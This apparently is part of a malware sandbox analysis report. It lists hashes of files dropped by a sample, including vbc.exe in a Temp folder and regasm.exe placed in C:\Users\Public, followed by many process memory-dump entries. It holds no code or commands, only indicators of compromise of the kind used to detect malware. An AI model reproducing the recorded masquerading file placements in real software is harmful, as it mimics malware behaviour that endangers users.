66f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1

Download Submit
C:\Users\Admin\AppData\Local\Temp\vbc.exe
MD5
3dac10541270990e15c8742b0cd6f153

SHA1
ed5c87e500c51e055ddb9160929a3dac51d3a393

SHA256
744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f

SHA512
66f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1

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C:\Users\Admin\AppData\Local\Temp\vbc.exe
MD5
3dac10541270990e15c8742b0cd6f153

SHA1
ed5c87e500c51e055ddb9160929a3dac51d3a393

SHA256
744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f

SHA512
66f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
MD5
6611b592c8f528ce0e0d4680ac8b193e

SHA1
652735fff820d48689a89808e7bb6622005f6756

SHA256
df3a7ad793859662a4b91a5fdf49f04856934e5999cfa344dc9cc4e2886f2d9c

SHA512
39751fed18c114c151ba65a5d92eff40f409201904bf3263731bd61ba2879836a95a171c2f6c85cb03632162a72bb1d87f92b00d547c059de0231f463f2b22d5

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C:\Users\Public\regasm.exe
MD5
7f06feab552ff5b4b5ea9c0c08a50982

SHA1
fec42fd952353328a01939c949ccb7031be50530

SHA256
053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0

SHA512
9c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0

Download Submit
\Users\Admin\AppData\Local\Temp\vbc.exe
MD5
3dac10541270990e15c8742b0cd6f153

SHA1
ed5c87e500c51e055ddb9160929a3dac51d3a393

SHA256
744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f

SHA512
66f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1

Download Submit
\Users\Admin\AppData\Local\Temp\vbc.exe
MD5
3dac10541270990e15c8742b0cd6f153

SHA1
ed5c87e500c51e055ddb9160929a3dac51d3a393

SHA256
744e1148859c05acf0cb4aac84f5687c5106268c30db72a31529b67695028a5f

SHA512
66f408fefd562558c96749981784157ac480895867e6612a410f8ebad6af05547e0fdae4431f1ddb136d2086d7acf2927ccff0d60b1adc44144c8bf1507589d1

Download Submit
\Users\Public\regasm.exe
MD5
7f06feab552ff5b4b5ea9c0c08a50982

SHA1
fec42fd952353328a01939c949ccb7031be50530

SHA256
053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0

SHA512
9c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0

Download Submit
\Users\Public\regasm.exe
MD5
7f06feab552ff5b4b5ea9c0c08a50982

SHA1
fec42fd952353328a01939c949ccb7031be50530

SHA256
053e45fb6090b18e9a8ff0a8c24fd2d77eca4057539b1add95e03c38be35b3a0

SHA512
9c5877c7851e8d6b000c729948b330ab66e69a18205b3ac5de70b4907360f3fb4541e6745312f7deb08f1a046fb2470e13ab9ca326e0e2f478819ecaa47e9be0

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memory/556-65-0x0000000000000000-mapping.dmp

Download
memory/784-61-0x0000000000000000-mapping.dmp

Download
memory/828-98-0x0000000000350000-0x0000000000356000-memory.dmp

Filesize
24KB

Download
memory/828-97-0x0000000000000000-mapping.dmp

Download
memory/828-101-0x0000000000950000-0x0000000000C53000-memory.dmp

Filesize
3.0MB

Download
memory/828-102-0x0000000000400000-0x0000000000494000-memory.dmp

Filesize
592KB

Download
memory/828-99-0x0000000000080000-0x00000000000AF000-memory.dmp

Filesize
188KB

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memory/1204-105-0x000007FEF5D70000-0x000007FEF5EB3000-memory.dmp

Filesize
1.3MB

Download
memory/1204-96-0x0000000005F90000-0x000000000604D000-memory.dmp

Filesize
756KB

Download
memory/1204-104-0x0000000006180000-0x00000000062D4000-memory.dmp

Filesize
1.3MB

Download
memory/1204-106-0x000007FF15CE0000-0x000007FF15CEA000-memory.dmp

Filesize
40KB

Download
memory/1352-89-0x0000000002050000-0x0000000002082000-memory.dmp

Filesize
200KB

Download
memory/1352-86-0x0000000001FB0000-0x0000000001FB1000-memory.dmp

Filesize
4KB

Download
memory/1352-84-0x00000000000B0000-0x00000000000B1000-memory.dmp

Filesize
4KB

Download
memory/1352-87-0x0000000000790000-0x00000000007AD000-memory.dmp

Filesize
116KB

Download
memory/1352-88-0x0000000004FA0000-0x0000000005001000-memory.dmp

Filesize
388KB

Download
memory/1352-82-0x0000000000000000-mapping.dmp

Download
memory/1532-69-0x0000000002390000-0x0000000002FDA000-memory.dmp

Filesize
12.3MB

Download
memory/1532-71-0x0000000004B20000-0x0000000005171000-memory.dmp

Filesize
6.3MB

Download
memory/1532-66-0x0000000000000000-mapping.dmp

Download
memory/1532-70-0x0000000002390000-0x0000000002FDA000-memory.dmp

Filesize
12.3MB

Download
memory/1532-68-0x0000000002390000-0x0000000002FDA000-memory.dmp

Filesize
12.3MB

Download
memory/1548-95-0x0000000000160000-0x0000000000175000-memory.dmp

Filesize
84KB

Download
memory/1548-94-0x0000000000AA0000-0x0000000000DA3000-memory.dmp

Filesize
3.0MB

Download
memory/1548-92-0x000000000041F1B0-mapping.dmp

Download
memory/1548-91-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download
memory/1564-100-0x0000000000000000-mapping.dmp

Download
memory/1640-55-0x00000000707E1000-0x00000000707E3000-memory.dmp

Filesize
8KB

Download
memory/1640-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1640-57-0x0000000076961000-0x0000000076963000-memory.dmp

Filesize
8KB

Download
memory/1640-54-0x0000000072D61000-0x0000000072D64000-memory.dmp

Filesize
12KB

Download
memory/1640-103-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1796-64-0x000007FEFC271000-0x000007FEFC273000-memory.dmp

Filesize
8KB

Download
memory/1796-63-0x0000000000000000-mapping.dmp

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memory/2008-77-0x00000000023B0000-0x00000000023B1000-memory.dmp

Filesize
4KB

Download
memory/2008-78-0x00000000023B1000-0x00000000023B2000-memory.dmp

Filesize
4KB

Download
memory/2008-79-0x00000000023B2000-0x00000000023B4000-memory.dmp

Filesize
8KB

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memory/2008-72-0x0000000000000000-mapping.dmp

Download
memory/2008-76-0x0000000004E00000-0x0000000005451000-memory.dmp

Filesize
6.3MB

Download
memory/2008-75-0x0000000004B50000-0x0000000004C64000-memory.dmp

Filesize
1.1MB

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